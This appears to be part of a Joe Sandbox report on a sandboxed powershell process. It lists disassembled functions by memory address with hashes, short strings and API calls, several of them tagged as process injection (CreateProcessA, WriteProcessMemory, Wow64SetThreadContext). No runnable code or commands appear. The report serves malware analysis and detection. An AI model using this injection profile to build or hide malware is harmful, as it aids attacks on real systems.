Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID: !$9
API String ID: 0-1747164267
Opcode ID: 662fb04bf626071a496eb4544886b0e5795c23a0d24425b66ec939b65b824ccb
Instruction ID: 6c8c1cc0567bdb7ca4cfcc0505c44d6e758e8c70bf9065c95b5d9f8db9aaae7c
Opcode Fuzzy Hash: 662fb04bf626071a496eb4544886b0e5795c23a0d24425b66ec939b65b824ccb
Instruction Fuzzy Hash: 32113A7490021ACFDB25DF64D896BEDBBB1BB85314F4041EAC019AB291DB706E81CF40

Function 06F73900 Relevance: 1.8, APIs: 1, Instructions: 340
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2856555642.0000000006F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2e5e0c08d5d7751eb17d9541a8693964cf7031c7aa9d2fe3a005bb5d41065d7
Instruction ID: ed2046c1a416aab0c87ba0b12b2193b375fa0fc7909084526eca9cb638aa06af
Opcode Fuzzy Hash: b2e5e0c08d5d7751eb17d9541a8693964cf7031c7aa9d2fe3a005bb5d41065d7
Instruction Fuzzy Hash: EEE1F475E00259AFDB54CF98D884A9EFBB2FF48310F24855AE819AB351C731ED81DB90

Function 075A987D Relevance: 1.7, Strings: 1, Instructions: 475COMMON

Download Yara Rule

Strings

4'sq, xrefs: 075A97C2

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq
API String ID: 0-1075809040
Opcode ID: 10f2ec01664a4a61f437ff8966b85cf131b1cc1d04857b3b955b1d9224481b48
Instruction ID: 9d13f83f7ac3aea2ad89fc9702a052bf9b2a0f98a70054a1a7affcbf9880d96b
Opcode Fuzzy Hash: 10f2ec01664a4a61f437ff8966b85cf131b1cc1d04857b3b955b1d9224481b48
Instruction Fuzzy Hash: 0E121BB4A00215AFDB14CB98C590EADBBB2BF85314F54C46AE905AF355CB31FC42CB91

Function 075A92A0 Relevance: 1.7, Strings: 1, Instructions: 464COMMON

Download Yara Rule

Strings

4'sq, xrefs: 075A97C2

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq
API String ID: 0-1075809040
Opcode ID: fc9c255f447ce4e310a385bb109fab800221ea26b6840ef4da642eb3b4de706d
Instruction ID: baaac9d00ab8786db38b335442c7d3ff2727a2fe336659f3a37f551d37d3c66c
Opcode Fuzzy Hash: fc9c255f447ce4e310a385bb109fab800221ea26b6840ef4da642eb3b4de706d
Instruction Fuzzy Hash: 7C1209B4A01215EFDB24CB58C590EAEBBB2BF89314F15C56AE805AB355CB31E842CB51

Function 072035B5 Relevance: 1.7, APIs: 1, Instructions: 208processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0720379A

Memory Dump Source

Source File: 00000004.00000002.2858569819.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7200000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 737946b6e0bc25fc30aa008f0dd46f941c8e2651c88bcc9a4a088ee3443497a5
Instruction ID: 6464e6fa84d5279d2da23b22066cc729f1d11451906f8bfd8e19b0b8aecf8320
Opcode Fuzzy Hash: 737946b6e0bc25fc30aa008f0dd46f941c8e2651c88bcc9a4a088ee3443497a5
Instruction Fuzzy Hash: 058155B1D1024A9FDB10CFA9C8857EEBBF1BF49320F14812DE855A7396DB749881CB91

Function 072035C0 Relevance: 1.7, APIs: 1, Instructions: 201processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0720379A

Memory Dump Source

Source File: 00000004.00000002.2858569819.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7200000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: c27fd03c4561ad3382f02c6da93ee9c07b3ce00c378c355aafbee95721eb4725
Instruction ID: 7bfca4bc5266967c8719182b8160d3d52a54aa5a3c0bf795be8c153fe5e6a8be
Opcode Fuzzy Hash: c27fd03c4561ad3382f02c6da93ee9c07b3ce00c378c355aafbee95721eb4725
Instruction Fuzzy Hash: 8E8134B1D1024A9FDB10CFA9C8857AEBBF5BF48310F14852DE815A7396DB749881CB91

Function 07203D88 Relevance: 1.6, APIs: 1, Instructions: 114threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07203E0E

Memory Dump Source

Source File: 00000004.00000002.2858569819.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7200000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 371c983ce6916655aec1c5ed666d18d715a0dd7fbb21bdffcb3576d55782e6f9
Instruction ID: 3db9ea6ad51f8f11687c0f4820eaa7149d996b4e3f35df04be4c9b66efff0e03
Opcode Fuzzy Hash: 371c983ce6916655aec1c5ed666d18d715a0dd7fbb21bdffcb3576d55782e6f9
Instruction Fuzzy Hash: 284119B1D1020A9FDB04DFA9D481BEEBBF5EF48310F14846AE419A7341DB74A945CFA0

Function 07204620 Relevance: 1.6, APIs: 1, Instructions: 74injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 072046B8

Memory Dump Source

Source File: 00000004.00000002.2858569819.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7200000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 2e65022ba67ad3adde45e54a24d8df8d8770a427d0b2698b2017758c0a24b937
Instruction ID: d53254556bc3f97d23c6e2da7eb1a4c3d9fd4bcf8adabc7ae8c62b05cdcdaa5e
Opcode Fuzzy Hash: 2e65022ba67ad3adde45e54a24d8df8d8770a427d0b2698b2017758c0a24b937
Instruction Fuzzy Hash: D52159B590034A9FCB10DFA9C881BDEBBF5FF48320F10842AE919A7240D7749541CBA0

Function 07204628 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 072046B8

Memory Dump Source

Source File: 00000004.00000002.2858569819.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7200000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 32205c546f9609255cf28f5980f39437c4a1fe88e1c8f081f3c6e5c13702aea1
Instruction ID: 0a97d38a1110564dbeb4b4a9fd4d4c4414b2bf01f16fcd2db05825514e6c3f8b
Opcode Fuzzy Hash: 32205c546f9609255cf28f5980f39437c4a1fe88e1c8f081f3c6e5c13702aea1
Instruction Fuzzy Hash: 2C2157B591034A9FCB10DFA9C981BDEBBF5FF48320F10842AE919A7340D7789940CBA0

Function 07203D90 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07203E0E

Memory Dump Source

Source File: 00000004.00000002.2858569819.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7200000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 3847abd0e6d9bada43722a12ed04d5c5a47dd411e82cd859d553d5d90dfb61cb
Instruction ID: 7181488754b175b32f5832b7351f6f8ba152d7ffcaeca0303cd015a76de57510
Opcode Fuzzy Hash: 3847abd0e6d9bada43722a12ed04d5c5a47dd411e82cd859d553d5d90dfb61cb
Instruction Fuzzy Hash: 8D211AB19103099FDB10DFAAC5857EEBBF4EF48324F14842AD519A7241CB789945CFA1

Function 0722B8F0 Relevance: 1.4, Strings: 1, Instructions: 164COMMON

Download Yara Rule

Strings

(wq, xrefs: 0722B964

Memory Dump Source

Source File: 00000004.00000002.2858630208.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7220000_powershell.jbxd

Similarity

API ID:
String ID: (wq
API String ID: 0-1062398946
Opcode ID: 0835204fa13672af5bb1d5c042c5fd1fb9f8ff85468fefd01a84921314f405c2
Instruction ID: 1fc784cbbc787d63269d04a1dc1602d7326ec478a9014a7a215c2860dedf3e1d
Opcode Fuzzy Hash: 0835204fa13672af5bb1d5c042c5fd1fb9f8ff85468fefd01a84921314f405c2
Instruction Fuzzy Hash: C95126B1A106269FCB12CF28C48056AFBB5FF86320B158296D8299B341D730FD56CBD0

Function 075A0467 Relevance: 1.4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

Strings

4'sq, xrefs: 075A058D

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq
API String ID: 0-1075809040
Opcode ID: ef416dc02393692224dea95739fbab1e77394cefde61b128e02a2765bcfef485
Instruction ID: 3aab209dbe82d4dda4bedb320fd67f054c8c0921f1c8c6daf6379ad6711bd8d7
Opcode Fuzzy Hash: ef416dc02393692224dea95739fbab1e77394cefde61b128e02a2765bcfef485
Instruction Fuzzy Hash: 283104B0A25346AFCF118A2484143FE7BA1BF85210F548477D40CCB1D2FB79C981CBA2

Function 0722F390 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

p<sq, xrefs: 0722F3DA

Memory Dump Source

Source File: 00000004.00000002.2858630208.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7220000_powershell.jbxd

Similarity

API ID:
String ID: p<sq
API String ID: 0-1142556907
Opcode ID: e30f6d3dba2eec60eebfb1acfac6f4cf364cf7c51f5a28464afb75820c0f9ca2
Instruction ID: d2d6c0f41dc47da3eb821ac328db827f05ab165e8639ce91301a14c1b001598a
Opcode Fuzzy Hash: e30f6d3dba2eec60eebfb1acfac6f4cf364cf7c51f5a28464afb75820c0f9ca2
Instruction Fuzzy Hash: 202171B1318296AFDB168F29C8409AA7FF5EF8A310F054096FC45CB361CA75DC51EB20

Function 071C85A7 Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

F, xrefs: 071C8DAE

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID: F
API String ID: 0-1304234792
Opcode ID: daaddf2fea6f65caae34fddc18fcbb84925aaeb1015c4232c37b63ed5d85a473
Instruction ID: 968b72de856b047f71b6d0af20ccad95c66b101e75b779753d7d9f84a310f575
Opcode Fuzzy Hash: daaddf2fea6f65caae34fddc18fcbb84925aaeb1015c4232c37b63ed5d85a473
Instruction Fuzzy Hash: 1C313874A0122ACFDB61DF64C849BD9BBB1FB49304F4080E9E409AB390DB709E85DF01

Function 071C8B10 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

$, xrefs: 071C8DFA

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: e0ffe5c8314e4e53dc9011e4016f51047db1e738c48ab87cada9152b935a7a19
Instruction ID: f84212d5158cfaa86e6f9ab2c5d6f8f3894c13de1f646616b58edfa90b802923
Opcode Fuzzy Hash: e0ffe5c8314e4e53dc9011e4016f51047db1e738c48ab87cada9152b935a7a19
Instruction Fuzzy Hash: 0E31F274A41229CFEB64DF68C859BE9BBB1FB89300F5040D9D409AB784CB71AE81CF41

Function 071C7F97 Relevance: 1.3, Strings: 1, Instructions: 27COMMON

Download Yara Rule

Strings

., xrefs: 071C8A42

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: adf8bd9fe2ab14d5db4587987f98ae1223c676d846ec84d66a3c8238a4b3c46c
Instruction ID: 2dcbf8ad09ba7d9091ee81bfc024043806066253b20238d7af04f8ca4e07f2d0
Opcode Fuzzy Hash: adf8bd9fe2ab14d5db4587987f98ae1223c676d846ec84d66a3c8238a4b3c46c
Instruction Fuzzy Hash: 85F0F978915219CFDB24DF60C859BA9BBB1FB45314F1091EE880967291C7789E86CF41

Function 072276DA Relevance: 1.3, Strings: 1, Instructions: 27COMMON

Download Yara Rule

Strings

Tesq, xrefs: 0722772F

Memory Dump Source

Source File: 00000004.00000002.2858630208.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7220000_powershell.jbxd

Similarity

API ID:
String ID: Tesq
API String ID: 0-136783293
Opcode ID: 948fe45d6055eff4e9414dc928efb265ecbf180a0af033bf29f391b4d0161825
Instruction ID: 91820f7c48e21da100fbd34bf0fcbc892092ef136b7407e90275f8f1fc512f49
Opcode Fuzzy Hash: 948fe45d6055eff4e9414dc928efb265ecbf180a0af033bf29f391b4d0161825
Instruction Fuzzy Hash: EF011974E1016A8FCB68DF68D9907ADB7B2BF88300F5040E99909A7780DF305E849F90

Function 071C89E9 Relevance: 1.3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

Strings

., xrefs: 071C8A42

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 0a4327d6ae4bbce7202cbebcc37114c095b8dac2e0e4e4f1ac9a2cd250e83fc1
Instruction ID: bc641760976396152098ebf292a0e2fcff5ca64859887403960302edb07cc13c
Opcode Fuzzy Hash: 0a4327d6ae4bbce7202cbebcc37114c095b8dac2e0e4e4f1ac9a2cd250e83fc1
Instruction Fuzzy Hash: 9DF05838900219CFDB14DF60C899BACBBB1EB85310F1080EA88096B391CB389F86CF40

Function 071C826F Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

A, xrefs: 071C82BB

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID: A
API String ID: 0-3554254475
Opcode ID: b27c31bcd94314be72eb21cae4df483a49edd4af236f8fcde0ef8d9c98b37589
Instruction ID: d0fd6c605f0a5e6d7c4e304b72cc1e34c708af0b97e939ad08f57bf2f1a0c887
Opcode Fuzzy Hash: b27c31bcd94314be72eb21cae4df483a49edd4af236f8fcde0ef8d9c98b37589
Instruction Fuzzy Hash: A2F01C3180160ADBCF11DFA4D805AD9B771FF59300F108689E9192B650DB34AA95DF80

Function 072203FE Relevance: 1.3, Strings: 1, Instructions: 10COMMON

Download Yara Rule

Strings

y, xrefs: 072251C7

Memory Dump Source

Source File: 00000004.00000002.2858630208.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7220000_powershell.jbxd

Similarity

API ID:
String ID: y
API String ID: 0-4225443349
Opcode ID: a582007d6470ba563282e2b676c15fb8925a1087762f19ee960958b7d3146822
Instruction ID: 226b32ff812e9d14c0688136e5b3664fbf1b7df7ecc023311d538acac566e3c1
Opcode Fuzzy Hash: a582007d6470ba563282e2b676c15fb8925a1087762f19ee960958b7d3146822
Instruction Fuzzy Hash: D4D09EB0B35669DFDB25CB14CD447997B71AB41301F0076D5900966240DAB45B859F52

Function 075AC153 Relevance: .5, Instructions: 518COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2861127100.00000000075A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76df232fd2afdfb5b1caad46634d36a840df8ed23fd1185412dd4e741e19a381
Instruction ID: 9cbdba968153adff6e2b76d512d1955af99a87816a775efdd389e929e2954bc5
Opcode Fuzzy Hash: 76df232fd2afdfb5b1caad46634d36a840df8ed23fd1185412dd4e741e19a381
Instruction Fuzzy Hash: 91323CB4B002159FDB54CB58C850BA9BBB2BF89314F54C0AAD9099F356CB71ED82CF91

Function 0470E108 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2824010928.0000000004700000.00000040.00000800.00020000.00000000.sdmp, Offset: 04700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4700000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feb87cabb496ede6d997c698215bfdd01dc3b0089a69a1d2e70cf6c934afc990
Instruction ID: c9510941395ae57444b67a4217fa6eccf955378ce1521ed4139abb474049338a
Opcode Fuzzy Hash: feb87cabb496ede6d997c698215bfdd01dc3b0089a69a1d2e70cf6c934afc990
Instruction Fuzzy Hash: C6E15A74A06248DFDB05CFA8D584A9DBBF2EF49310F24C559E855AB392CB30ED46CB90

Function 0470D828 Relevance: .3, Instructions: 339COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2824010928.0000000004700000.00000040.00000800.00020000.00000000.sdmp, Offset: 04700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4700000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ef15c5abd8c732e98e95c2dc9688ac80ed0330141473b94025f54a17bf7e00f
Instruction ID: 717665e02cfad7241a9011dbbe99ba6c0634324232094ab6dea04a757a45d92b
Opcode Fuzzy Hash: 9ef15c5abd8c732e98e95c2dc9688ac80ed0330141473b94025f54a17bf7e00f
Instruction Fuzzy Hash: E3E10674A05208DFDB15CF98C494AADBBF2FF88310F248159E844AB391DB70ED86CB90

Function 04702AB0 Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2824010928.0000000004700000.00000040.00000800.00020000.00000000.sdmp, Offset: 04700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4700000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5022352adde2ef84f2c942935ac6742970ff56111b94682105d801fc68082f05
Instruction ID: f49495cbf6279aabd0ced66ab34d95f36293bfd510272a3145586e093308d8c6
Opcode Fuzzy Hash: 5022352adde2ef84f2c942935ac6742970ff56111b94682105d801fc68082f05
Instruction Fuzzy Hash: C3C17B74A01645CFCB05CF99C4989AAFBF1FF88310B258699D915AB3A6C731FC51CBA0

Function 071C5228 Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc4ff62761f4d9606a3212da5f3a2da0b656e78d657c153eeca30746f0686eb8
Instruction ID: f6ad544b34cab3613b737158fed7021e76fe7accd7107fed099fe339e6b3dee4
Opcode Fuzzy Hash: cc4ff62761f4d9606a3212da5f3a2da0b656e78d657c153eeca30746f0686eb8
Instruction Fuzzy Hash: 1AD11CB4E11218CFDB54DFA8D845B9DBBB2FB89300F5091AAE409AB790CB306D95CF51

Function 071C5219 Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bda2d7afb4ce893495d726ee9242137c346e1d1ff3f3b80dde2f4aa72d44794f
Instruction ID: 63a9639ad8f1d0b7f077fc6c300566182dd7cd5f23bf0dd8df5575a863868b66
Opcode Fuzzy Hash: bda2d7afb4ce893495d726ee9242137c346e1d1ff3f3b80dde2f4aa72d44794f
Instruction Fuzzy Hash: C1D10CB4E11218CFDB54DFA8D845B9DBBB2FB89300F5091AAE409AB790CB306D95CF51

Function 071C536E Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e5d92e65a8fc768da361c20468c27020c0cb50fab5974f1e18a5d65c5b7b073
Instruction ID: fa43bdad388daaf5d6c166ebc23682ac07e8d0d4c4ee67702be63e240e422d24
Opcode Fuzzy Hash: 4e5d92e65a8fc768da361c20468c27020c0cb50fab5974f1e18a5d65c5b7b073
Instruction Fuzzy Hash: 7FD11DB4E11218CFDB54DFA8D845B9DBBB2FB89300F5091AAE409AB790DB306D91CF51

Function 071C52C1 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d21f73bc10127503454aa1c567650fde7f573962005189ebf014dd6701f4a
Instruction ID: 2eac53ed9200b524effc3d6f5fcd94cf0d3cdd6be46b4418bb8248b9d9eb9a04
Opcode Fuzzy Hash: a22d21f73bc10127503454aa1c567650fde7f573962005189ebf014dd6701f4a
Instruction Fuzzy Hash: 00D11DB4E11218CFDB54DFA8E845B9DBBB2FB89304F5051AAE409AB790CB306D91CF51

Function 071C5767 Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99e76325fa8b8a89c72a94de144b132c3c1c26e638b0dee053d92b5d18d451ad
Instruction ID: 728d85626a511923faf73c90fba5cad23d003211306257abab0bec69e10e8a49
Opcode Fuzzy Hash: 99e76325fa8b8a89c72a94de144b132c3c1c26e638b0dee053d92b5d18d451ad
Instruction Fuzzy Hash: A5C10CB4E11218CFDB54DFA8E845B9DBBB2FB49304F5091AAE409AB790CB306D91CF51

Function 0722BFE8 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858630208.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 980b79da2b76ca17b0b14fa0e786108023cf71456d0e7774544526c475179d48
Instruction ID: 02054ecb10dcd553fda3a67b9e3d3d913d1a76f58ae4d1de6e13e6b53b156fd5
Opcode Fuzzy Hash: 980b79da2b76ca17b0b14fa0e786108023cf71456d0e7774544526c475179d48
Instruction Fuzzy Hash: C9A1ADB4B11215EFDB14DFA8D554AADBBB2EF88301F108569E401EB390CB35DD86DBA0

Function 07566130 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2860560106.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7560000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ed0d5c02be6f7e9f402dbe4ec1380b6422805bf483e497ddb1a578799432aae
Instruction ID: 33fb9d3eae464d12dcd924174b488f129ca8c82db19c70f4f1a0ed3ffe0b6be7
Opcode Fuzzy Hash: 4ed0d5c02be6f7e9f402dbe4ec1380b6422805bf483e497ddb1a578799432aae
Instruction Fuzzy Hash: 8581C6B4B002099FDB24CF58C598AEAB7E2FFC5311F58846AE8059B395DB35DD40CBA1

Function 071C5CE2 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc8b649d99818f0c6e675a784488999b57197442bf8721c97617a1efb34a4e5f
Instruction ID: d5de668837d8347887c78093f3772159b201b9af992a09d1b8f04aa917772928
Opcode Fuzzy Hash: bc8b649d99818f0c6e675a784488999b57197442bf8721c97617a1efb34a4e5f
Instruction Fuzzy Hash: 93711AB0E11218CFEB54CFA9D8457EDBBB2FB49300F2091AAD409AB395DB70A945CF11

Function 071C5CF0 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c48649b9799c3bb4f67ed58d51560fee0adc903058079781856aa58fa67e335f
Instruction ID: 6074f5afdb6450ca868e1b8ed35af5e2bbbe6c15a85b781e83c680071689f31f
Opcode Fuzzy Hash: c48649b9799c3bb4f67ed58d51560fee0adc903058079781856aa58fa67e335f
Instruction Fuzzy Hash: DA710AB4E12218CFEB54CFA9D9447ADBBB2FB49300F2090A9D409AB395DB70AD45CF11

Function 071C5F77 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858146352.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dafdfec175ab4950fad9cce4ef3f6c55ebcb562a21f410fbe793686f81c4755a
Instruction ID: 9c82049e00e76af1a6747e7e2ba959abe5f5eaf4084a1b01bf0d1b901c33bb19
Opcode Fuzzy Hash: dafdfec175ab4950fad9cce4ef3f6c55ebcb562a21f410fbe793686f81c4755a
Instruction Fuzzy Hash: 8D71FBB4E12209CFDB54CFA8D845BADBBB2FB55300F2090A9E409AB395DB70AD45CF11

Function 07227E94 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2858630208.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dca1421b6b6c3584878a35b0c9d2087245998bbb31973074a7d1b7728ae59166
Instruction ID: 03c0e775f4f49088c8af403c23b79ece9bce81b047956fcf16d49b0c695a8f06
Opcode Fuzzy Hash: dca1421b6b6c3584878a35b0c9d2087245998bbb31973074a7d1b7728ae59166
Instruction Fuzzy Hash: FD4105B243C2E6AECB129B74E8555E4BFB4AB0B220F1544D7C6448F253C635C987EBC5

Function 0470ACE8 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2824010928.0000000004700000.00000040.00000800.00020000.00000000.sdmp, Offset: 04700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4700000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
